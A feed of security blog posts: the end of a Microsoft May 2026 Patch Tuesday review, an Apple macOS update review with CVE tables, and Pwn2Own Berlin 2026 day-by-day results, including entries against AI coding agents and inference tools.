CVE-2026-41102	Microsoft PowerPoint for Android Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-35439	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40368	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-33110	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-33112	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40357	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-32185	Microsoft Teams Spoofing Vulnerability	Important	5.5	No	No	Spoofing
CVE-2026-41101	Microsoft Word for Android Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-35440	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40421	Microsoft Word Information Disclosure Vulnerability	Important	4.3	No	No	Info
CVE-2026-41097	Secure Boot Security Feature Bypass Vulnerability	Important	6.7	No	No	SFB
CVE-2026-40370 †	SQL Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-41613	Visual Studio Code Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-41612	Visual Studio Code Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-41611	Visual Studio Code Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-41610	Visual Studio Code Security Feature Bypass Vulnerability	Important	6.3	No	No	SFB
CVE-2026-33839	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33840	Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34330	Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34331	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35423	Windows 11 Telnet Client Information Disclosure Vulnerability	Important	5.4	No	No	Info
CVE-2026-35438	Windows Admin Center Elevation of Privilege Vulnerability	Important	8.3	No	No	EoP
CVE-2026-41086	Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-34344	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34345	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35416	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-41088	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34343	Windows Application Identity (AppID) Subsystem Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35418	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-33835	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34337	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40407	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40397	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42896	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35419	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-34336	Windows DWM Core Library Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-33834	Windows Event Logging Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32209	Windows Filtering Platform (WFP) Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-33841	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35420	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40369	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34332	Windows Kernel-Mode Driver Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-34339	Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-34341	Windows Link-Layer Discovery Protocol (LLDP) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33838	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34342	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-41095	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34340	Windows Projected File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-40398	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21530	Windows Rich Text Edit Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-32170	Windows Rich Text Edit Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-40410	Windows SMB Client Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35415	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34350	Windows Storport Miniport Driver Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-40405	Windows TCP/IP Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-40414	Windows TCP/IP Denial of Service Vulnerability	Important	7.4	No	No	DoS
CVE-2026-40401	Windows TCP/IP Denial of Service Vulnerability	Important	6.2	No	No	DoS
CVE-2026-40413	Windows TCP/IP Denial of Service Vulnerability	Important	7.4	No	No	DoS
CVE-2026-35422	Windows TCP/IP Driver Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-34351	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40399	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34334	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40406	Windows TCP/IP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-33837	Windows TCP/IP Local Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40415	Windows TCP/IP Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-42825	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-34338	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40382	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40380	Windows Volume Manager Extension Driver Remote Code Execution Vulnerability	Important	6.2	No	No	RCE
CVE-2026-40408	Windows WAN ARP Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34333	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34347	Windows Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35417	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42891	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing
CVE-2026-35429	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	4.3	No	No	Spoofing
CVE-2026-41107	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Moderate	7.4	No	No	Info
CVE-2026-40416	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Low	4.3	No	No	Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira & Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.

Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.

As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.

This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption. Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook. On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.

Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.

The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI.

There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.

There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.

No new advisories are being released this month.

Looking Ahead

Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The Apple macOS Security Update Review

Sat, 25 Jul 2026 19:02:56 +0200

We’ve received some feedback from those who read the Patch Blog that they would like something similar for macOS updates. Unfortunately, Apple doesn’t schedule these for a particular day, but we can provide our thoughts and analysis on the days they do release their latest patches.

For May 2026, Apple released 82 unique CVEs across the three macOS versions: 79 for macOS Tahoe 26.5, 45 for macOS Sequoia 15.7.7, and 42 for macOS Sonoma 14.8.7. Since Apple doesn’t provide CVSS scores or other severity information, we’re left to speculate on which of these bugs is the most severe. However, there are a couple that stand out.

- CVE-2026-28819 (Wi-Fi) stands out as the strongest candidate for the most severe as it states, “An app may be able to execute arbitrary code with kernel privileges.” The combination of arbitrary code execution at the kernel level is about as bad as it gets on a severity scale. Plus, it affects all three macOS versions (Tahoe, Sequoia, and Sonoma).

- CVE-2026-43668 (mDNSResponder) also piques my interest since, “A remote attacker may be able to cause unexpected system termination or corrupt kernel memory.” The remote attack vector with kernel memory corruption on all three OS versions makes this a serious one, especially since mDNSResponder is always running.

- CVE-2026-28972 (Kernel) This one states that “An app may be able to cause unexpected system termination or write kernel memory.” An out-of-bounds write directly into kernel memory on all three OS versions. This one may also have implications in the upcoming Pwn2Own Berlin contest.

Here’s a look at all the bugs released by Apple this month:

82Unique CVEs 79macOS Tahoe 26.5 45macOS Sequoia 15.7.7 42macOS Sonoma 14.8.7

CVE ID	Component	Impact	macOS Tahoe 26.5	macOS Sequoia 15.7.7	macOS Sonoma 14.8.7
CVE-2026-28991	Accelerate	An app may be able to cause a denial-of-service	Yes	No	No
CVE-2026-28988	Accounts	An app may be able to bypass certain Privacy preferences	Yes	No	No
CVE-2026-28959	APFS	An app may be able to cause unexpected system termination	Yes	Yes	Yes
CVE-2026-28995	App Intents	A malicious app may be able to break out of its sandbox	Yes	No	No
CVE-2026-1837	AppleJPEG	Processing a maliciously crafted image may lead to a denial-of-service	Yes	No	No
CVE-2026-28956	AppleJPEG	Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory	Yes	Yes	Yes
CVE-2026-39869	Audio	Processing an audio stream in a maliciously crafted media file may terminate the process	Yes	Yes	Yes
CVE-2026-28922	CoreMedia	An app may be able to access private information	Yes	Yes	Yes
CVE-2026-28936	CoreServices	Processing a maliciously crafted file may lead to unexpected app termination	Yes	No	Yes
CVE-2026-28918	CoreSymbolication	Parsing a maliciously crafted file may lead to an unexpected app termination	Yes	No	No
CVE-2026-28878	Crash Reporter	An app may be able to enumerate a user's installed apps	No	Yes	No
CVE-2026-28915	CUPS	An app may be able to gain root privileges	Yes	Yes	Yes
CVE-2026-43659	FileProvider	An app may be able to access sensitive user data	Yes	Yes	Yes
CVE-2026-28923	GPU Drivers	A malicious app may be able to break out of its sandbox	Yes	Yes	Yes
CVE-2026-28925	HFS	An app may be able to cause unexpected system termination or write kernel memory	Yes	Yes	Yes
CVE-2025-43524	Icons	An app may be able to break out of its sandbox	No	Yes	Yes
CVE-2026-43661	ImageIO	Processing a maliciously crafted image may corrupt process memory	Yes	No	No
CVE-2026-28977	ImageIO	Processing a maliciously crafted file may lead to unexpected app termination	Yes	Yes	Yes
CVE-2026-28990	ImageIO	Processing a maliciously crafted image may corrupt process memory	Yes	Yes	Yes
CVE-2026-28978	Installer	A malicious app may be able to break out of its sandbox	Yes	Yes	Yes
CVE-2026-28992	IOHIDFamily	An attacker may be able to cause unexpected app termination	Yes	Yes	Yes
CVE-2026-28943	IOHIDFamily	An app may be able to determine kernel memory layout	Yes	Yes	Yes
CVE-2026-28969	IOKit	An app may be able to cause unexpected system termination	Yes	Yes	Yes
CVE-2026-43655	IOSurfaceAccelerator	An app may be able to cause unexpected system termination or read kernel memory	Yes	No	No
CVE-2026-43654	Kernel	An app may be able to disclose kernel memory	Yes	Yes	Yes
CVE-2026-28908	Kernel	An app may be able to modify protected parts of the file system	Yes	Yes	Yes
CVE-2026-28954	Kernel	A maliciously crafted disk image may bypass Gatekeeper checks	Yes	Yes	Yes
CVE-2026-28897	Kernel	A local user may be able to cause unexpected system termination or read kernel memory	Yes	Yes	Yes
CVE-2026-28952	Kernel	An app may be able to cause unexpected system termination	Yes	Yes	Yes
CVE-2026-28951	Kernel	An app may be able to gain root privileges	Yes	Yes	Yes
CVE-2026-28972	Kernel	An app may be able to cause unexpected system termination or write kernel memory	Yes	Yes	Yes
CVE-2026-28986	Kernel	An app may be able to cause unexpected system termination	Yes	Yes	Yes
CVE-2026-28987	Kernel	An app may be able to leak sensitive kernel state	Yes	Yes	Yes
CVE-2026-28983	LaunchServices	A remote attacker may be able to cause a denial of service	Yes	No	No
CVE-2026-28929	Mail Drafts	Replying to an email could display remote images in Mail in Lockdown Mode	Yes	Yes	Yes
CVE-2026-43653	mDNSResponder	An attacker on the local network may be able to cause a denial-of-service	Yes	No	Yes
CVE-2026-28985	mDNSResponder	An attacker on the local network may be able to cause a denial-of-service	Yes	No	No
CVE-2026-43668	mDNSResponder	A remote attacker may be able to cause unexpected system termination or corrupt kernel memory	Yes	Yes	Yes
CVE-2026-43666	mDNSResponder	An attacker on the local network may be able to cause a denial-of-service	Yes	Yes	Yes
CVE-2026-28941	Model I/O	Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents	Yes	Yes	No
CVE-2026-28940	Model I/O	Processing a maliciously crafted image may corrupt process memory	Yes	Yes	No
CVE-2026-28961	Network Extensions	An attacker with physical access to a locked device may be able to view sensitive user information	Yes	No	No
CVE-2026-28906	Networking	An attacker may be able to track users through their IP address	Yes	Yes	Yes
CVE-2026-28840	PackageKit	An app may be able to gain root privileges	No	Yes	Yes
CVE-2026-43656	Quick Look	Parsing a maliciously crafted file may lead to an unexpected app termination	Yes	Yes	Yes
CVE-2026-43652	Sandbox	An app may be able to access protected user data	Yes	No	No
CVE-2026-39870	SceneKit	Processing a maliciously crafted image may corrupt process memory	Yes	Yes	Yes
CVE-2026-28846	SceneKit	A remote attacker may be able to cause unexpected app termination	Yes	Yes	Yes
CVE-2026-28993	Shortcuts	An app may be able to access user-sensitive data	Yes	Yes	Yes
CVE-2026-28848	SMB	A remote attacker may be able to cause unexpected system termination	Yes	Yes	No
CVE-2026-28930	Spotlight	An app may be able to access protected user data	Yes	No	No
CVE-2026-28974	Spotlight	An app may be able to cause a denial-of-service	Yes	Yes	No
CVE-2026-28996	Storage	An app may be able to access sensitive user data	Yes	Yes	Yes
CVE-2026-28919	StorageKit	An app may be able to gain root privileges	Yes	Yes	Yes
CVE-2026-28924	Sync Services	An app may be able to access Contacts without user consent	Yes	Yes	Yes
CVE-2026-39871	TV App	An app may be able to observe unprotected user data	Yes	Yes	Yes
CVE-2026-28976	UserAccountUpdater	An app may be able to gain root privileges	Yes	No	No
CVE-2026-43660	WebKit	Processing maliciously crafted web content may prevent Content Security Policy from being enforced	Yes	No	No
CVE-2026-28907	WebKit	Processing maliciously crafted web content may prevent Content Security Policy from being enforced	Yes	No	No
CVE-2026-28962	WebKit	Processing maliciously crafted web content may disclose sensitive user information	Yes	No	No
CVE-2026-43658	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	No	No
CVE-2026-28905	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28847	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28904	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28955	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28903	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28953	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28902	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28901	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28913	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28883	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28958	WebKit	An app may be able to access sensitive user data	Yes	No	No
CVE-2026-28917	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28947	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	No	No
CVE-2026-28946	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	No	No
CVE-2026-28942	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	No	No
CVE-2026-28971	WebKit	A malicious iframe may use another website's download settings	Yes	No	No
CVE-2026-28944	WebRTC	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28819	Wi-Fi	An app may be able to execute arbitrary code with kernel privileges	Yes	Yes	Yes
CVE-2026-28994	Wi-Fi	An attacker in a privileged network position may be able to perform denial-of-service attack using crafted Wi-Fi packets	Yes	Yes	Yes
CVE-2026-28914	zip	A maliciously crafted ZIP archive may bypass Gatekeeper checks	Yes	No	No
CVE-2026-28920	zlib	Visiting a maliciously crafted website may leak sensitive data	Yes	Yes	Yes

CVEs marked with the scarab logo were reported through the TrendAI Zero Day Initiative program.

We’ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.

Pwn2Own Berlin 2026 - Day Two Results

Sat, 25 Jul 2026 19:02:55 +0200

Day Two of Pwn2Own Berlin 2026 and the stakes continue to rise! Security researchers are back on the Pwn2Own stage, pushing enterprise systems to their limits as the competition heats up. More exploits, more surprises, and more standout moments are unfolding, so follow along here for live updates as the race for Master of Pwn intensifies. There were plenty of big targets on the schedule today, including SharePoint, Exchange, and Safari.

Following an action-packed Day One where $523,000 was awarded for 24 unique 0-day vulnerabilities, Day Two added another $385,750 and 15 unique 0-days, bringing event totals to $908,750 with 39 unique vulnerabilities overall. DEVCORE holds a commanding lead for Master of Pwn with 40.5 points and $405,000, but with one day still to go, anything can happen. Here are the standings as of Day Two but we'll see what the final day of the contest brings. Stay tuned!

We’ll be posting real-time updates and results throughout the competition right here on our blog and across social media. Stay up to date by following us on Twitter, Mastodon, LinkedIn, and Bluesky, and join the conversation using #Pwn2Own Berlin and #P2OBerlin for continuous coverage.

FAILURE - Unfortunately, Tao Yan & Edouard Bochin of Palo Alto Networks could not get their exploit of Apple Safari – Renderer Only working within the time allotted.

FAILURE - Unfortunately, Stephen Fewer of Rapid7 could not get their exploit of Microsoft SharePoint working within the time allotted.

SUCCESS - Ben Koo (@kiddo_pwn) of Team DDOS used a use-after-free bug to escalate privileges on Red Hat Enterprise Linux for Workstations in the second round, earning $10,000 and 1 Master of Pwn point.

SUCCESS - Dialed in! Nikolaos Mourousias (@deltaclock), Caue Obici (@caueobici) & Bruno Halltari (@BrunoModificato) of OtterSec used a Code Injection bug to exploit LM Studio in the second round, earning $20,000 and 4 Master of Pwn points. Full win!

COLLISON - Although successful on stage, Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) targeting Claude Desktop in the Coding Agent category used a bug that was previously known. They still earn $10,000 and 2 Master of Pwn points.

SUCCESS - Le Duc Anh Vu (@vulda17) of Viettel Cyber Security (@vcslab) exploited Cursor, earning $30,000 and 3 Master of Pwn points. Full win!

WITHDRAWAL - Kiyong Kwak of Kakaogames and Song Nuri of Samsung Electronics has withdrawn their entry for Apple Safari – Renderer Only in the Web Browser category.

FAILURE - Unfortunately, Ruitong of Abstract Team, University of Colorado Boulder could not get their exploit of Red Hat Enterprise Linux for Workstations working within the time allotted.

SUCCESS - Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) exploited OpenAI Codex in the second round, earning $20,000 and 4 Master of Pwn points.

COLLISON - Although successful on stage, Billy (@st424204), Bruce Chen (@bruce30262), Pan Zhenpeng (@Peterpan980927) & Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) targeting NVIDIA Megatron Bridge used a bug that was previously known. They still earn $2,500 and 1 Master of Pwn point.

WITHDRAWAL - Alon Ben Tsur (@iamgweej), Yahav Azran (@_yahav) have withdrawn their entry for Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category.

SUCCESS - Orange Tsai (@orange_8361) of DEVCORE Research Team chained 3 bugs to achieve Remote Code Execution as SYSTEM on Microsoft Exchange, earning $200,000 and 20 Master of Pwn points.

SUCCESS / COLLISON - David Tae & Louis Hur of Out Of Bounds targeted Ollama, hitting a one-vulnerability collision with a previous attempt and earning $28,000 and 3 Master of Pwn points.

FAILURE - Nguyen Thanh Dat (@rewhiles) of Viettel Cyber Security (@vcslab) could not get their exploit of Mozilla Firefox – Renderer Only working within the time allotted.

SUCCESS - Cyrill Bannwart, Emanuele Barbeno, Yves Bieri, Lukasz D., Urs Mueller (@compasssecurity) of Compass Security exploited Cursor in the second round, earning $15,000 and 3 Master of Pwn points.

SUCCESS - Siyeon Wi used an integer overflow bug to escalate privileges on Microsoft Windows 11 in the fourth round, earning $7,500 and 3 Master of Pwn points.

SUCCESS / COLLISON - Byung Young Yi (@yibarrack) of Out Of Bounds targeted LiteLLM, hitting a one-vulnerability collision with a previous attempt and earning $17,750 and 3.75 Master of Pwn points.

SUCCESS - Confirmed! 0xDACA (@0xDACA) & Noam Trobishi (@NTrobishi) used a use-after-free bug to exploit NV Container Toolkit in the second round, earning $25,000 and 5 Master of Pwn points.

Pwn2Own Berlin 2026 - Day One Results

Sat, 25 Jul 2026 19:02:55 +0200

Welcome to Day One of Pwn2Own Berlin 2026! Today, 22 entries took the Pwn2Own stage to target AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products, as the world’s top security researchers push technology to its limits. Exploits, surprises, and breakthrough discoveries are unfolding.

After Day One, we awarded $523,000 for 24 unique 0-days! DEVCORE is currently in the lead for Master of Pwn, but a pack of teams are right on their heels. Stay tuned tomorrow for more results and surprises.

FAILURE - Unfortunately, Le Duc Anh Vu (@vulda17) of Viettel Cyber Security (@vcslab) could not get their exploit of OpenAI Codex working within the time allotted.

SUCCESS - Orange Tsai (@orange_8361) of DEVCORE Research Team (@d3vc0r3) chained 4 logic bugs to achieve a sandbox escape on Microsoft Edge, earning $175,000 and 17.5 Master of Pwn points.

SUCCESS - chompie of IBM X-Force Offensive Research (XOR) used a single bug to exploit NV Container Toolkit, earning $50,000 and 5 Master of Pwn points.

SUCCESS - k3vg3n chained 3 bugs including SSRF and Code Injection to take down LiteLLM. $40,000 and 4 Master of Pwn points. Full win.

SUCCESS - Satoki Tsuji (@satoki00) of Ikotas Labs, Inc. used an Overly Permissive Allowed List bug to exploit NVIDIA Megatron Bridge, earning $20,000 and 2 Master of Pwn points.

FAILURE - Unfortunately, Park Jae Min could not get their exploit of Oracle Autonomous AI Database working within the time allotted. #Pwn2Own #P2OBerlin

SUCCESS - Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) used a single CWE-150 bug to exploit OpenAI Codex, earning $40,000 and 4 Master of Pwn points.

SUCCESS - Angelboy (@scwuaptx) & TwinkleStar03 (@_twinklestar03) of DEVCORE Research Team used an Improper Access Control bug to escalate privileges on Microsoft Windows 11, earning $30,000 and 3 Master of Pwn points.

WITHDRAWAL - Ben Koo (@kiddo_pwn) of Team DDOS has withdrawn their entry for Mozilla Firefox – Renderer Only in the Web Browser category

FAILURE - Unfortunately, Interrupt Labs could not get their exploit of NV Container Toolkit working within the time allotted

COLLISON - Although successful on stage, the Ikotas Labs, Inc. team targeting LiteLLM in the Local Inference category used bugs that were previously known. They still earn $8,000 and 1.75 Master of Pwn points.

SUCCESS - Yoseop Kim (@pwning_me) used a CWE-470 bug to exploit NVIDIA Megatron Bridge in the second round, earning $10,000 and 2 Master of Pwn points.

COLLISON - Although successful on stage, maitai (@MaitaiThe) of Doyensec (@Doyensec) targeting OpenAI Codex in the Coding Agent category used a bug that was previously known to the vendor. They still earn $10,000 and 2 Master of Pwn points.

WITHDRAWAL - Yoseop Kim(@pwning_me) has withdrawn their entry for Mozilla Firefox – Renderer Only in the Web Browser category

SUCCESS - haehae (@haehaeYang) of Out Of Bounds chained 2 bugs (CWE-190, CWE-362) to exploit Chroma, earning $20,000 and 2 Master of Pwn points.

SUCCESS - Billy (@st424204), Pan Zhenpeng (@Peterpan980927) & Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) chained 5 bugs (incl. SSRF and Code Injection) to exploit LM Studio, earning $40,000 and 4 Master of Pwn points. Full win!

SUCCESS - Marcin Wiązowski used a heap-based buffer overflow to escalate privileges on Microsoft Windows 11 in the second round, earning $15,000 and 3 Master of Pwn points.

WITHDRAWAL - Qrious Secure (@qriousec) has withdrawn their entry for LM Studio in the Local Inference category.

SUCCESS - Chompie of IBM X-Force Offensive Research (XOR) used a race condition to escalate privileges on Red Hat Enterprise Linux for Workstations, earning $20,000 and 2 Master of Pwn points.

COLLISON - Although successful on stage, Nguyen Thanh Dat (@rewhiles) of Viettel Cyber Security (@vcslab) targeting Anthropic Claude Code in the Coding Agent category used a bug that was previously known to the vendor. They still earn $20,000 and 2 Master of Pwn points

SUCCESS - haehae (@haehaeYang) of Out Of Bounds used a Path Traversal bug to exploit NVIDIA Megatron Bridge in the second round, earning $10,000 and 2 Master of Pwn points. Full win!

SUCCESS - Kentaro Kawane of GMO Cybersecurity by Ierae chained 2 Use-After-Free bugs to escalate privileges on Microsoft Windows 11 in the third round, earning $15,000 and 3 Master of Pwn points.

Pwn2Own Berlin 2026: Day Three Results and Master of Pw

Sat, 25 Jul 2026 19:02:54 +0200

Following two days of intense competition, Day Three of Pwn2Own Berlin 2026 brought the curtain down on an incredible event. Security researchers delivered their final exploits, pushing enterprise systems to the limit one last time as the race for Master of Pwn came to a close.

